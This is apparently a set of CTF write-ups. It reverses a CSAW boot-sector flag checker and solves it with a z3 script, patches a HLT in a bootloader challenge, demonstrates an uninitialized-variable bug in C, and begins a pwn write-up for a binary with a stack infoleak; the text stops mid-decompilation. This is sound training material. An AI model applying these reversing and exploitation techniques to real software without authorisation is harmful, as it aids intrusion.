                              // fileOffset=0, length=512
                              // ram: 0000:0000-0000:01ff
                              //
             assume DF = 0x0  (Default)
       0000:0000 b8 13 00        MOV        AX,0x13
       0000:0003 cd 10           INT        0x10
       0000:0005 0f 20 c0        MOV        EAX,CR0
       0000:0008 83 e0 fb        AND        AX,0xfffb
       0000:000b 83 c8 02        OR         AX,0x2
       0000:000e 0f 22 c0        MOV        CR0,EAX
       0000:0011 0f 20 e0        MOV        EAX,CR4
       0000:0014 0d 00 06        OR         AX,0x600
       0000:0017 0f 22 e0        MOV        CR4,EAX
       0000:001a c7 06 66        MOV        word ptr [0x1266],0xa
                 12 0a 00
       0000:0020 bb 00 00        MOV        BX,0x0
```

So we can see here the same opcodes that we see at the start of the program (so we know that we know where the start of the code segment in memory is). Now the next step of reversing this is to identify the segment of code where the actual check happens. The elf is only `512` bytes long, so there isn't a lot of code to parse through. However, this is my first time reversing this type of architecture, and thus I am very lost.

So what I decided to do to figure out which code segments are responsible for the check, is set breakpoints at the start of various sub functions (in IDA they are titled something like `loc_8E`)

`0x7c00`

`0x7c23`

`0x7c33`

`0x7c38`

`0x7c58`

`0x7c8e`

`0x7cdf`

`0x7d0d`

`0x7d31`

When I ran the program normally, it just encountered the breakpoints at `0x7c58`, `0x7d0d`, `0x7c33` and `0x7c38` (in that order). So those four code segments are probably used in handling input and the display. However when we enter in `20` characters and trigger a check, we encounter a breakpoint at `0x7cdf`. So we know that `0x7cdf` is a part of the check. That code path `LAB_0000_00df or 0x7cdf` is called in two different places, at `0x7d55` and `0x7cd1`. When we run the program again, and set breakpoints for `0x7d55` and `0x7cd1` we see that the one that we hit which actually leads to the check is `0x7d55`. This is apart of the subroutine `LAB_0000_014d`, which starts at `0x7d4d`. This is also called at two different places at `0x7c78` and `0x7cba`. When we do the same trial by running the program again with setting a breakpoint at `0x7c78` and `0x7cba` to see where the call actually happens, we see that it is called at `0x7c78`.

The actual instruction at `0x7c78` is a `jnz` instruction for the previous `cmp` instruction at `0x7c6f`. Specifically this is the instruction:

```
        0000:006f 66 81 3e        CMP        dword ptr [0x1234],0x67616c66
                  34 12 66
                  6c 61 67
```

So it is comparing something against the string `flag` (it's displayed backwards in hex, because of least endian). It is probably checking to see if the input we gave it starts with `flag`. When we try running the code again with input that starts with `flag{` and ends in `}`, we see something interesting happen. It passes the check at `0x7c6f` and doesn't execute the jump at `0x7c78`. It just continues execution into `LAB_0000_008e` where it enters into a for loop. However when it is in the for loop, we don't get the error message that we're wrong and we should feel bad.

So with this new discovery, I'm pretty sure what though the check happened at `0x7cdf` isn't actually a part of the check, it's the part of the program that happens after the check if we're wrong at tells us we're bad and should feel bad. The actual check begins at `0x7c66`, where it just sees how many characters of input we've given it. If it is less than or equal to `0x13` (`19`) it just jumps to `0x7d0d` and continues with the loop. However when it reaches `20` characters of input (the amount that we need to enter to trigger the check) it skips the jump and starts actually checking the input at `0x6f` with seeing if the first four characters are `flag`, then continues into the actual check in `LAB_0000_008e` at `0x7c8e`.

The Check

So now that we know where the check occurs, we can start reversing it. Below is the code that is relevant to the check:

```
        0000:0066 80 3e c8        CMP        byte ptr [0x7dc8],0x13
                  7d 13
        0000:006b 0f 8e 9e 00     JLE        LAB_0000_010d
        0000:006f 66 81 3e        CMP        dword ptr [0x1234],0x67616c66
                  34 12 66
                  6c 61 67
        0000:0078 0f 85 d1 00     JNZ        LAB_0000_014d
        0000:007c 0f 28 06        MOVAPS     XMM0,xmmword ptr [0x1238]
                  38 12
        0000:0081 0f 28 2e        MOVAPS     XMM5,xmmword ptr [0x7c00]
                  00 7c
        0000:0086 66 0f 70        PSHUFD     XMM0,XMM0,0x1e
                  c0 1e
        0000:008b be 08 00        MOV        SI,0x8
                              LAB_0000_008e
 XREF[1]:     0000:00c1(j)
        0000:008e 0f 28 d0        MOVAPS     XMM2,XMM0
        0000:0091 0f 54 94        ANDPS      XMM2,xmmword ptr [SI + 0x7d90]
                  90 7d
        0000:0096 66 0f f6 ea     PSADBW     XMM5,XMM2
        0000:009a 0f 29 2e        MOVAPS     xmmword ptr [0x1268],XMM5
                  68 12
        0000:009f 8b 3e 68 12     MOV        DI,word ptr [0x1268]
        0000:00a3 66 c1 e7 10     SHL        EDI,0x10
        0000:00a7 8b 3e 70 12     MOV        DI,word ptr [0x1270]
        0000:00ab 89 f2           MOV        DX,SI
        0000:00ad 4a              DEC        DX
        0000:00ae 01 d2           ADD        DX,DX
        0000:00b0 01 d2           ADD        DX,DX
        0000:00b2 66 67 3b        CMP        EDI,dword ptr [0x7da8 + EDX]
                  ba a8 7d
                  00 00
        0000:00ba 0f 85 8f 00     JNZ        LAB_0000_014d
        0000:00be 4e              DEC        SI
        0000:00bf 85 f6           TEST       SI,SI
        0000:00c1 75 cb           JNZ        LAB_0000_008e
        0000:00c3 c6 06 78        MOV        byte ptr [0x1278],0xa
                  12 0a
        0000:00c8 8b 1e 66 12     MOV        BX,word ptr [0x1266]
        0000:00cc bf 70 7d        MOV        DI,0x7d70
        0000:00cf 85 db           TEST       BX,BX
        0000:00d1 74 0c           JZ         LAB_0000_00df
        0000:00d3 ff 0e 66 12     DEC        word ptr [0x1266]
        0000:00d7 31 c9           XOR        CX,CX
        0000:00d9 ba 14 00        MOV        DX,0x14
        0000:00dc e9 59 ff        JMP        LAB_0000_0038
```

The code between `0x66` - `0x78` was discussed above (it just checks the length to see if a check is needed, and if the string starts with `flag`). Proceeding that we see the following code:

```
0000:007c 0f 28 06        MOVAPS     XMM0,xmmword ptr [0x1238]
          38 12
0000:0081 0f 28 2e        MOVAPS     XMM5,xmmword ptr [0x7c00]
          00 7c
```

Both of these commands are just moving data in memory into the `xmm0` and `xmm5` registers. The instruction at `0x7c` is moving the `16` bytes of our input into the `xmm0` register, which we can see with gdb (depicted below). The instruction at `0x81` is loading the first `16` bytes of the program (since the code for the program starts at `0x7c00`, since it is a MBR, check it with gdb if you want) into the `xmm5` register. These registers are used later:

```
Breakpoint 1, 0x00007c7c in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
registers ────
[!] Command 'context' failed to execute properly, reason: 'NoneType' object has no attribute 'all_registers'
gef➤  x/x $ds+0x1238
0x1238: 0x7430677b
gef➤  x/s $ds+0x1238
0x1238: "{g0ttem_b0yzzz{___"
```

and on the next line of assembly code, we have this:

```
0000:0086 66 0f 70        PSHUFD     XMM0,XMM0,0x1e
          c0 1e
```

This instruction essentially just rearranges our input. It inserts the contents of argument two (the `xmm0` register) into the first argument (also the `xmm0` register) at the position of the third argument `0x1e`. We can see how it rearranges it in gdb (below the input string it is dealing with is `0123456789abcdef`):

before `pshufd`:

```
Breakpoint 2, 0x00007c86 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
registers ────
[!] Command 'context' failed to execute properly, reason: 'NoneType' object has no attribute 'all_registers'
gef➤  p $xmm0
$1 = {
  v4_float = {5.5904729e+31, 1.71062063e+19, 3.23465809e+35, 1.81209302e+19},
  v2_double = {4.8112799576068541e+151, 8.9947639173637913e+151},
  v16_int8 = {0x7b, 0x67, 0x30, 0x74, 0x74, 0x65, 0x6d, 0x5f, 0x62, 0x30, 0x79, 0x7a, 0x7a, 0x7a, 0x7b, 0x5f},
  v8_int16 = {0x677b, 0x7430, 0x6574, 0x5f6d, 0x3062, 0x7a79, 0x7a7a, 0x5f7b},
  v4_int32 = {0x7430677b, 0x5f6d6574, 0x7a793062, 0x5f7b7a7a},
  v2_int64 = {0x5f6d65747430677b, 0x5f7b7a7a7a793062},
  uint128 = 0x5f7b7a7a7a7930625f6d65747430677b
}
```

after `pshufd`:

```
Breakpoint 3, 0x00007c8b in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
registers ────
[!] Command 'context' failed to execute properly, reason: 'NoneType' object has no attribute 'all_registers'
gef➤  p $xmm0
$2 = {
  v4_float = {3.23465809e+35, 1.81209302e+19, 1.71062063e+19, 5.5904729e+31},
  v2_double = {8.9947639173637913e+151, 4.6979905997386182e+251},
  v16_int8 = {0x62, 0x30, 0x79, 0x7a, 0x7a, 0x7a, 0x7b, 0x5f, 0x74, 0x65, 0x6d, 0x5f, 0x7b, 0x67, 0x30, 0x74},
  v8_int16 = {0x3062, 0x7a79, 0x7a7a, 0x5f7b, 0x6574, 0x5f6d, 0x677b, 0x7430},
  v4_int32 = {0x7a793062, 0x5f7b7a7a, 0x5f6d6574, 0x7430677b},
  v2_int64 = {0x5f7b7a7a7a793062, 0x7430677b5f6d6574},
  uint128 = 0x7430677b5f6d65745f7b7a7a7a793062
}
```

The exact order that this instance of `pshufd` shuffles our input is this:

```
0.) last eight bytes first
1.) second group of four bytes
2.) first group of four bytes
```

next we have this line of assembly:

```
        0000:008b be 08 00        MOV        SI,0x8
```

This just moves the value `8` into the `si` register. This is going to be used for an iteration count for the loop we are about to enter (starts at `0x8e`) which will run `8` times.

The loop portion of the check

Now we enter the loop. The first line just moves the contents of the `xmm0` register into the `xmm2` register:

```
                                LAB_0000_008e
 XREF[1]:     0000:00c1(j)
       0000:008e 0f 28 d0        MOVAPS     XMM2,XMM0
```

The next line of code ands together the `xmm2` register with the values stored at `si+0x7d90`, and stores the output in the `xmm2` register. The value at `si+0x7d90` is two `0xffffffffffffff00` segments. The end result is the eight and sixteen bytes of `xmm2` are set to `0x00`.

```
       0000:0091 0f 54 94        ANDPS      XMM2,xmmword ptr [SI + 0x7d90]
                 90 7d
```

next we have the `psadbw` instruction:

```
       0000:0096 66 0f f6 ea     PSADBW     XMM5,XMM2
```

this instruction computes the absolute sum of differences between the `xmm5` and `xmm2` registers, and stores it in the `xmm5` register. So essentially what it does is it subtracts each byte of the `xmm2` register, from each byte of the `xmm5` register. It then takes the absolute values of the differences, and adds them together. Also it does two additions, one for the first eight bytes and the second eight bytes. For an example, here we can see the `xmm2` and `xmm5` registers before and after the `psadbw` instruction (this time the input string is `{g0ttem_b0yzzz{_`):

before:

```
Breakpoint 5, 0x00007c96 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
registers ────
[!] Command 'context' failed to execute properly, reason: 'NoneType' object has
no attribute 'all_registers'
gef➤  p $xmm2
$3 = {
  v4_float = {3.23463868e+35, 1.81209302e+19, 1.71060788e+19, 5.5904729e+31},
  v2_double = {8.9947639173636774e+151, 4.6979905997385002e+251},
  v16_int8 = {0x0, 0x30, 0x79, 0x7a, 0x7a, 0x7a, 0x7b, 0x5f, 0x0, 0x65, 0x6d,
0x5f, 0x7b, 0x67, 0x30, 0x74},
  v8_int16 = {0x3000, 0x7a79, 0x7a7a, 0x5f7b, 0x6500, 0x5f6d, 0x677b, 0x7430},
  v4_int32 = {0x7a793000, 0x5f7b7a7a, 0x5f6d6500, 0x7430677b},
  v2_int64 = {0x5f7b7a7a7a793000, 0x7430677b5f6d6500},
  uint128 = 0x7430677b5f6d65005f7b7a7a7a793000
}
gef➤  p $xmm5
$4 = {
  v4_float = {-134298496, -2.50091934, -1.48039995e-36, 1.93815862e-18},
  v2_double = {-8.0294250547975565, 1.241726856953559e-144},
  v16_int8 = {0xb8, 0x13, 0x0, 0xcd, 0x10, 0xf, 0x20, 0xc0, 0x83, 0xe0, 0xfb,
0x83, 0xc8, 0x2, 0xf, 0x22},
  v8_int16 = {0x13b8, 0xcd00, 0xf10, 0xc020, 0xe083, 0x83fb, 0x2c8, 0x220f},
  v4_int32 = {0xcd0013b8, 0xc0200f10, 0x83fbe083, 0x220f02c8},
  v2_int64 = {0xc0200f10cd0013b8, 0x220f02c883fbe083},
  uint128 = 0x220f02c883fbe083c0200f10cd0013b8
```

after:

```
gef➤  p $xmm5
$5 = {
  v4_float = {1.14626214e-42, 0, 1.01594139e-42, 0},
  v2_double = {4.0414569829813967e-321, 3.5819759323490374e-321},
  v16_int8 = {0x32, 0x3, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xd5, 0x2, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0},
  v8_int16 = {0x332, 0x0, 0x0, 0x0, 0x2d5, 0x0, 0x0, 0x0},
  v4_int32 = {0x332, 0x0, 0x2d5, 0x0},
  v2_int64 = {0x332, 0x2d5},
  uint128 = 0x00000000000002d50000000000000332
}
```

and here are the calculations that happened:

```
0xb8 - 0x0 = 184
0x30 - 0x13 = 29
0x79 - 0x0 = 121
0xcd - 0x7a = 83
0x7a - 0x10 = 106
0x7a - 0xf = 107
0x7b - 0x20 = 91
0xc0 - 0x5f = 97
hex(184 + 29 + 121 + 83 + 106 + 107 + 91 + 97) = 0x332

0x83 - 0x0 = 131
0xe0 - 0x65 = 123
0xfb - 0x6d = 142
0x83 - 0x5f = 36
0xc8 - 0x7b = 77
0x67 - 0x2 = 101
0x30 - 0xf = 33
0x74 - 0x22 = 82
hex(131 + 123 + 142 + 36 + 77+ 101 + 33 + 82) = 0x2d5
```

Proceeding that we have the rest of the check:

```
        0000:009a 0f 29 2e        MOVAPS     xmmword ptr [0x1268],XMM5
                  68 12
        0000:009f 8b 3e 68 12     MOV        DI,word ptr [0x1268]
        0000:00a3 66 c1 e7 10     SHL        EDI,0x10
        0000:00a7 8b 3e 70 12     MOV        DI,word ptr [0x1270]
        0000:00ab 89 f2           MOV        DX,SI
        0000:00ad 4a              DEC        DX
        0000:00ae 01 d2           ADD        DX,DX
        0000:00b0 01 d2           ADD        DX,DX
        0000:00b2 66 67 3b        CMP        EDI,dword ptr [0x7da8 + EDX]
                  ba a8 7d
                  00 00
        0000:00ba 0f 85 8f 00     JNZ        LAB_0000_014d
```

Essentially what this section of code does, it takes the two values obtained from the previous `psadbw` instruction, arranges them in the `edi` register (`0x313` first then `0x2d5`) and compares it against a value stored in memory. If the check is successful, the loop continues for another iteration where it repeats the loop. The loop will run for eight times, and if we pass all of the checks, we have the correct flag. To find the values that we need to be equal to to pass this check, we can use gdb, and then just jump to the next iteration to see the next value (btw the check happens at `0x7cb2` , our input is in the `edi` register and the value we are comparing it against is in `edx+0x7da8`):

```
Breakpoint 1, 0x00007cb2 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
registers ────
[!] Command 'context' failed to execute properly, reason: 'NoneType' object has no attribute 'all_registers'
gef➤  x/x $edx+0x7da8
0x7dc4: 0x02df028f
gef➤  j *0x7cbe
Continuing at 0x7cbe.
Python Exception <class 'AttributeError'> 'NoneType' object has no attribute 'all_registers':

Breakpoint 1, 0x00007cb2 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
registers ────
[!] Command 'context' failed to execute properly, reason: 'NoneType' object has no attribute 'all_registers'
gef➤  x/x $edx+0x7da8
0x7dc0: 0x0290025d
```

and you can continue to do that until you have all eight values.

z3

Now that we have reversed the algorithm that our input is sent through, and we know the end value it is being compared to, we can use z3 to figure out what the flag is. Below is my z3 script I wrote to find the flag:

```
# This script is from a solution here: https://github.com/DMArens/CTF-Writeups
/blob/master/2017/CSAWQuals/reverse/realistic.py

# One thing about this script, it uses z3, which uses special data types so it
can solve things. As a result, we have to do some special things such as write
our own absolute value function instead of using pythons built in functions.

# First import the needed libraries
from pprint import pprint
from z3 import *
import struct

# Establish the values which our input will be checked against after each of the
8 iterations
resultZ = [ (0x02df, 0x028f), (0x0290, 0x025d), (0x0209, 0x0221), (0x027b,
0x0278), (0x01f9, 0x0233), (0x025e, 0x0291), (0x0229, 0x0255), (0x0211, 0x0270)
]

# Establish the first value for the xmm5 register, which is the first 16 bytes
of the elf
xmm5Z = [ [0xb8, 0x13, 0x00, 0xcd, 0x10, 0x0f, 0x20, 0xc0, 0x83, 0xe0, 0xfb,
0x83, 0xc8, 0x02, 0x0f, 0x22], ]

# Establish the solver
z = Solver()

# Establish the value `0` as a z3 integer, for later use
zero = IntVal(0)

# Establish a special absolute value function for z3 values
def abz(x):
    return If( x >= 0, x, -x)

# This function does the `psadbw` (sum of absolute differences) instruction at
0x7c96
def psadbw(xmm5, xmm2):
    x = Sum([abz(x0 - x1) for x0, x1 in zip(xmm5[:8], xmm2[:8])])
    y = Sum([abz(y0 - y1) for y0, y1 in zip(xmm5[8:], xmm2[8:])])
    return x, y

# Now we will append the values in resultZ to xmm5Z. The reason for this being
while xmm5Z contains the initial value that it should have, it's value carries
over to each iteration. And if we passed the check, it's starting value at each
iteration after the first, should be the value that we needed to get to pass the
previous check.
for i in resultZ[:-1]:
    xmm5Z.append(list(map(ord, struct.pack('<Q', i[0]) + struct.pack('<Q',
i[1]))))

# Now we will establush the values that z3 has control over, which is our input.
We will also add a check that each byte has to be within the Ascii range, so we
can type it in. We make sure to have the string `flag` in each of the characters
```

```
names so we can parse them out later
inp = [Int('flag{:02}'.format(i)) for i in range(16)]
for i in inp:
    z.add(i > 30, i < 127)

# Now we will move establish z3 data types with the previously established
values in xmm5Z and resultZ. This is so we can use them with z3
xmm5z = [ [IntVal(x) for x in row] for row in xmm5Z]
results = [ [IntVal(x) for x in row] for row in resultZ]

# Now here where we run the algorithm in the loop (btw when I say registers
below, I don't mean the actual ones on our computer, just the data values we use
to simulate the algorithm)
for i in range(8):
    # First we set the xmm5 register to it's correct value
    xmm5 = xmm5z[i]
    # We set the xmm2 register to be out input
    xmm2 = list(inp)
    # Zero out the corresponding bytes from the andps instruction at 0x7c96
    xmm2[i] = zero
    xmm2[i + 8] = zero
    x,y = psadbw(xmm5, xmm2)
    z.add(x == results[i][0])
    z.add(y == results[i][1])

# Check if it z3 can solve the problem
if z.check() == sat:
    print "z3 can solve it"
elif z.check() == unsat:
    print "The condition isn't satisified, I would recommend crying."
    exit(0)

# Model the solution (it makes z3 come up with a solution), and then filter out
the flag and convert it ASCII

model = z.model()
# Create a list to store the various inputs which meet the criteria
solutions = []

# Search for our flag values that we made on line 37, and append them to
solutions
for i in model.decls():
    if 'flag' in i.name():
        solutions.append((int(i.name()[4:]), chr(model[i].as_long())))

# Sort out all of the various solutions, then join them together for the needed
input
solutions = sorted(solutions, key=lambda x: x[0])
solutions = [x[1] for x in solutions]
flag = ''.join(solutions)

# Next we need to essentially undo the `pshfud` instruction which occurs at
`0x7c86`, that way when we give the flag and it applies the instruction, it will
```

```
have the string needed to pass the eight checks
flag = flag[12:] + flag[8:12] + flag[:8]
print "flag{}".format(flag)
```

and when we run it:

```
$    python rev.py
z3 can solve it
flag{4r3alz_m0d3_y0}
```

Just like that, we captured the flag!

CSAW 2018 A tour of x86 pt 2

Now for this challenge, we have to compile and run a binary (which we will need nasm and qemu installed to do):

```
$ sudo apt-get install nasm qemu qemu-system-i386
```

You can compile it like this:

```
$    ls
Makefile  stage-1.asm  stage-2.bin
$    make
nasm -Wall -D NUM_SECTORS=8 -f bin -o stage-1.bin stage-1.asm
stage-1.asm:240: warning: uninitialized space declared in .text section: zeroing
dd bs=512        if=stage-1.bin of=tacOS.bin
1+0 records in
1+0 records out
512 bytes copied, 0.000172661 s, 3.0 MB/s
dd bs=512 seek=1 if=stage-2.bin of=tacOS.bin
0+1 records in
0+1 records out
470 bytes copied, 8.6686e-05 s, 5.4 MB/s
```

You can run the binary like this (or you can just look in the Makefile and see the qemu command to run it):

```
$    make run
Binary is 4 KB long
qemu-system-x86_64 -serial stdio -d guest_errors -drive
format=raw,file=tacOS.bin
```

When we run it, we see a screen that comes up and prints some text. It doesn't look like anything important yet. So we take a quick look again through `stage-1.asm` and we see this on line `224`

```
load_second_stage:
  ; this bit calls another interrupt that uses a file-descriptor-like thing, a
daps, to find a load a file from disk.
  ; load the rest of the bootloader
  mov si, daps ; disk packet address
  mov ah, 0x42 ; al unused
  mov dl, 0x80 ; what to copy
  int 0x13     ; do it (the interrupt takes care of the file loading)
```

This coupled with the fact that we are on stage 2, we can reasonably assume that the code in `stage-2.bin` is being ran. Let's take a quick look at the `stage-2.bin` in Ghidra. When we do this, we will need to specify the `x86` processor (also I analyzed it for the `default` variant). After that I disassembled the binary data starting at `0x0` (you can do this either by right clicking, then Disassemble):

```
                         //
                         // ram
                         // fileOffset=0, length=470
                         // ram: 00000000-000001d5
                         //
          assume DF = 0x0  (Default)
     00000000 f4              HLT
     00000001 e4 92           IN         AL,0x92
     00000003 0c 02           OR         AL,0x2
     00000005 e6 92           OUT        0x92,AL
     00000007 31 c0           XOR        EAX,EAX
     00000009 8e d0           MOV        SS,AX
     0000000b bc 01 60        MOV        ESP,0xd88e6001
              8e d8
     00000010 8e c0           MOV        ES,AX
     00000012 8e e0           MOV        FS,AX
     00000014 8e e8           MOV        GS,AX
     00000016 fc              CLD
     00000017 66 bf 00 00     MOV        DI,0x0
     0000001b 00 00           ADD        byte ptr [EAX],AL
     0000001d eb 07           JMP        LAB_00000026
     0000001f 90              NOP
```

We see that there is a `hlt` instruction on the first line. This would stop the rest of the code in here from running. We can simply patch a NOP instruction (the code for it is `0x90`), which has code execution continues with the next instruction. You can do this with any hex editor, or Ghidra. I just used Ghidra. Right click on the instruction, then click on Patch Instruction, then just type in `NOP`. After that, just delete `tacOS.bin` and recompile it, then run the new binary.

When we run it again, we can see that after it gets past the point where it stopped before we patched it, there is a blue screen that pops up with the flag `flag{0ne_sm411_JMP_for_x86_on3_m4ss1ve_1eap_4_Y0U}` (patched version is found in `solved` directory). Also as a side note, when you run the patched version in Ubuntu 19.04 it appears to crash. Running it in something like Ubuntu 16.04 seems to work just fine. Just like that, we solved the challenge!

Uninitialized Variable Explanation

This is a well document C file that explains an uninitialized variable bug.

Here is the source code:

```c
#include <stdio.h>

void trashed(void)
{
    int x = 0xfacade;
    printf("Integer 0 Declared at:\t%p\n", &x);
    printf("Integer 0 Value:\t\t0x%x\n\n", x);
}

void scatterd(void)
{
    int y;
    printf("Integer 1 Declared at:\t%p\n", &y);
    printf("Integer 1 Value:\t\t0x%x\n\n", y);

    if (y == 0xfacade)
    {
        puts("Play your game, and walk away.\n");
    }
}

int main()
{
    puts("Let's talk about uninitialized variables.");
    puts("An uninitialized variable is one that is declared, but not assigned a
value.");
    puts("Thing is an uninitialized variable has the value of the last thing
previously placed there in memory.");
    puts("This can be beneficial when an uninitialized variable is referenced
such as a read or a comparison.");
    puts("We will run a function that will declare and initialize a
variable.\n");

    puts("After that, we will run another function which will declare a variable
and not initialize it.");
    puts("Let's see where the second variable ends up in memory, and what it's
value is.\n");

    trashed();

    scatterd();

    puts("As you can see, the memory location for the variable in the second
function overlapped directly with the memory location for the variable in the
first function.");
    puts("Since the second variable was not initialized with a value, it had the
value that was previously stored there, which was the value of the variable from
the first function.");
    puts("This is just one example of an uninitialized variables bug.");
    puts("However there are a lot of scenarios where this bug can be helpful.");
}
```

When it runs:

```
$       ./uninit_vars
Let's talk about uninitialized variables.
An uninitialized variable is one that is declared, but not assigned a value.
Thing is an uninitialized variable has the value of the last thing previously
placed there in memory.
This can be beneficial when an uninitialized variable is referenced such as a
read or a comparison.
We will run a function that will declare and initialize a variable.

After that, we will run another function which will declare a variable and not
initialize it.
Let's see where the second variable ends up in memory, and what it's value is.

Integer 0 Declared at:  0x7ffcea5edff4
Integer 0 Value:                0xfacade

Integer 1 Declared at:  0x7ffcea5edff4
Integer 1 Value:                0xfacade

Play your game, and walk away.

As you can see, the memory location for the variable in the second function
overlapped directly with the memory location for the variable in the first
function.
Since the second variable was not initialized with a value, it had the value
that was previously stored there, which was the value of the variable from the
first function.
This is just one example of an uninitialized variables bug.
However there are a lot of scenarios where this bug can be helpful.
```

Csaw 2018 doubletrouble Pwn 200 (The Floating)

This writeup is dedicated to Pennywise the Dancing Clown. We all float down here: https://www.youtube.com/watch?v=wHbpWtMOJTI

Also this is a revised version of an older writeup I made, back when I used peda as a wrapper instead of Gef. Let's take a look at the binary:

```
$ ./doubletrouble
0xff930988
How long: 5
Give me: 15935728
Give me: 75395128
Give me: 95135728
Give me: 35715928
Give me: 82753951
0:1.593573e+07
1:7.539513e+07
2:9.513573e+07
3:3.571593e+07
4:8.275395e+07
Sum: 304936463.000000
Max: 95135728.000000
Min: 15935728.000000
My favorite number you entered is: 15935728.000000
Sorted Array:
0:1.593573e+07
1:3.571593e+07
2:7.539513e+07
3:8.275395e+07
4:9.513573e+07
$    pwn checksec doubletrouble
[*] '/Hackery/csaw18/pwn/doubletrouble/doubletrouble'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
$    file doubletrouble
doubletrouble: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0,
BuildID[sha1]=b9a11827e910481da3ed76a1425d4c110fd0db97, not stripped
```

So we can see a couple of things. It appears to prompt us for a number of inputs, then it takes in those inputs and converts them to doubles. Proceeding that it does some arithmetic on those doubles, then sorts the doubles least to greatest. We can also see that we get what looks like to be a stack infoleak, but we confirm that it is a stack infoleak with gdb:

```
gdb-peda$ r
Starting program: /Hackery/csaw18/pwn/doubletrouble/doubletrouble
0xffffcd68
How long: ^C

.    .    .

gdb-peda$ vmmap
Start      End        Perm    Name
0x08048000 0x0804b000 r-xp    /Hackery/csaw18/pwn/doubletrouble/doubletrouble
0x0804b000 0x0804c000 r-xp    /Hackery/csaw18/pwn/doubletrouble/doubletrouble
0x0804c000 0x0804d000 rwxp    /Hackery/csaw18/pwn/doubletrouble/doubletrouble
0x0804d000 0x0806f000 rwxp    [heap]
0xf7dd5000 0xf7faa000 r-xp    /lib/i386-linux-gnu/libc-2.27.so
0xf7faa000 0xf7fab000 ---p    /lib/i386-linux-gnu/libc-2.27.so
0xf7fab000 0xf7fad000 r-xp    /lib/i386-linux-gnu/libc-2.27.so
0xf7fad000 0xf7fae000 rwxp    /lib/i386-linux-gnu/libc-2.27.so
0xf7fae000 0xf7fb1000 rwxp    mapped
0xf7fcf000 0xf7fd1000 rwxp    mapped
0xf7fd1000 0xf7fd4000 r--p    [vvar]
0xf7fd4000 0xf7fd6000 r-xp    [vdso]
0xf7fd6000 0xf7ffc000 r-xp    /lib/i386-linux-gnu/ld-2.27.so
0xf7ffc000 0xf7ffd000 r-xp    /lib/i386-linux-gnu/ld-2.27.so
0xf7ffd000 0xf7ffe000 rwxp    /lib/i386-linux-gnu/ld-2.27.so
0xfffdd000 0xffffe000 rwxp    [stack]
```

here we can see that the infoleak is from the stack (which starts at `0xfffdd000` and ends at `0xffffe000`). Also some other important things we can see about the binary, it has a stack canary and `RWX` segments (regions of memory that we can read, write, and execute). We can also see that it is a `32` bit elf

Reversing

So starting off we have the main function (which we use IDA to decompile):

```
/* WARNING: Type propagation algorithm not settling */

undefined4 canary(void)

{
  int iVar1;

  iVar1 = __x86.get_pc_thunk.ax(&stack0x00000004);
  setvbuf((FILE *)(*(FILE **)(iVar1 + 0x27da))->_flags,(char *)0x0,2,0);
  game();
  return 0;
}
```

From our perspective, the only thing we need to worry about here, is that it calls `game()`, which we can see here:

```
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection:
get_pc_thunk_bx */

void game(void)

{
  char *__s;
  int iVar1;
  int in_GS_OFFSET;
  float10 fVar2;
  double dVar3;
  int heapQt;
  int local_21c;
  double ptrArray [64];
  int canary;
  int stackCanary;

  stackCanary = *(int *)(in_GS_OFFSET + 0x14);
  printf("%p\n",ptrArray);
  printf("How long: ");
  __isoc99_scanf(&DAT_0804a01f,&heapQt);
  getchar();
  if (0x40 < heapQt) {
    printf("Flag: hahahano. But system is at %d",system);
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  local_21c = 0;
  while (local_21c < heapQt) {
    __s = (char *)malloc(100);
    printf("Give me: ");
    fgets(__s,100,stdin);
    dVar3 = atof(__s);
    ptrArray[local_21c] = dVar3;
    local_21c = local_21c + 1;
  }
  printArray(&heapQt,ptrArray);
  fVar2 = (float10)sumArray(&heapQt,ptrArray);
  printf("Sum: %f\n",SUB84((double)fVar2,0),(int)((ulonglong)(double)fVar2 >>
0x20));
  fVar2 = (float10)maxArray(&heapQt,ptrArray);
  printf("Max: %f\n",SUB84((double)fVar2,0),(int)((ulonglong)(double)fVar2 >>
0x20));
  fVar2 = (float10)minArray(&heapQt,ptrArray);
  printf("Min: %f\n",SUB84((double)fVar2,0),(int)((ulonglong)(double)fVar2 >>
0x20));
  iVar1 = findArray(&heapQt,ptrArray,0xc059000000000000,0,0xc0240000);
  printf("My favorite number you entered is: %f\n",SUB84(ptrArray[iVar1],0),
         (int)((ulonglong)ptrArray[iVar1] >> 0x20));
  sortArray(&heapQt,ptrArray);
  puts("Sorted Array:");
  printArray(&heapQt,ptrArray);
```

```
  if (stackCanary != *(int *)(in_GS_OFFSET + 0x14)) {
    __stack_chk_fail_local();
  }
  return;
}
```

So we can see how this game goes down. It first starts by printing the address of `ptrArray` for the infoleak, which we later see is where our input is stored as a double. Then it scans in an integer into `heapQt` . Proceeding that it checks to make sure it isn't greater than `64` (this is because `ptrArray` is only big enough to hold `64` doubles). If it is, the program exits and prints the address of system to taunt us for being bad. Proceeding that it enters into a for loop which runs `heapQt` times, which each time it scans in `100` bytes of data into the heap, then converts it into a double, and stores it in the array `ptrArray` . Proceeding that, it runs a number of sub functions with `heapQt` and `ptrArray` as arguments.

Looking at the `sumArray` , `maxArray` , and `minArray` functions, they do pretty much what we would expect them to do. However when we get to `findArray` , that's when we see something intersting:

```
int findArray(int *heapQt,int ptrArray,undefined4 a3,undefined4 a4,undefined4
param_5,
              undefined4 param_6)

{
  int iVar1;

  __x86.get_pc_thunk.ax();
  iVar1 = *heapQt;
  while( true ) {
    if (SBORROW4(*heapQt,iVar1 * 2) == *heapQt + iVar1 * -2 < 0) {
      *heapQt = iVar1;
      return 0;
    }
    if (((double)CONCAT44(a4,a3) < *(double *)(ptrArray + (*heapQt - iVar1) *
8)) &&
       (*(double *)(ptrArray + (*heapQt - iVar1) * 8) <
